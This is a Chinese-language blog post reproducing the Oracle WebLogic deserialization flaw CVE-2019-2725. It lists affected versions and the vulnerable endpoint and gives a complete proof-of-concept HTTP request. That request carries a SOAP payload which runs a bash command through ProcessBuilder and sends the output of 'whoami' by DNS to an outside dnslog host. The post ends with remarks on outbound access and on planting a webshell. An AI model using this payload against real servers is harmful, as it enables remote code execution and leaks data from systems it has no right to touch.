weblogic(CVE-2019-2725)漏洞復現

努力的學渣'#發表於2020-12-16

最近打攻防演練的時候碰到了這個漏洞,趁熱打個鐵復現一下漏洞
在這裡插入圖片描述
這個漏洞對比shiro來說還是比較新鮮的,他是去年新出的一款漏洞,19年4月
在這裡插入圖片描述

受影響版本

Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3

影響元件:

bea_wls9_async_response.war
wsat.war 

漏洞存在的頁面:

/_async/AsyncResponseService

poc如下

POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.74g4hi.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

當然肯定希望是出網機器,不然這個漏洞利用有點麻煩,因為不同的weblogic元件版本,解析目錄的路徑都是不一樣的,寫入webshell也會有難度。
在這裡插入圖片描述

相關文章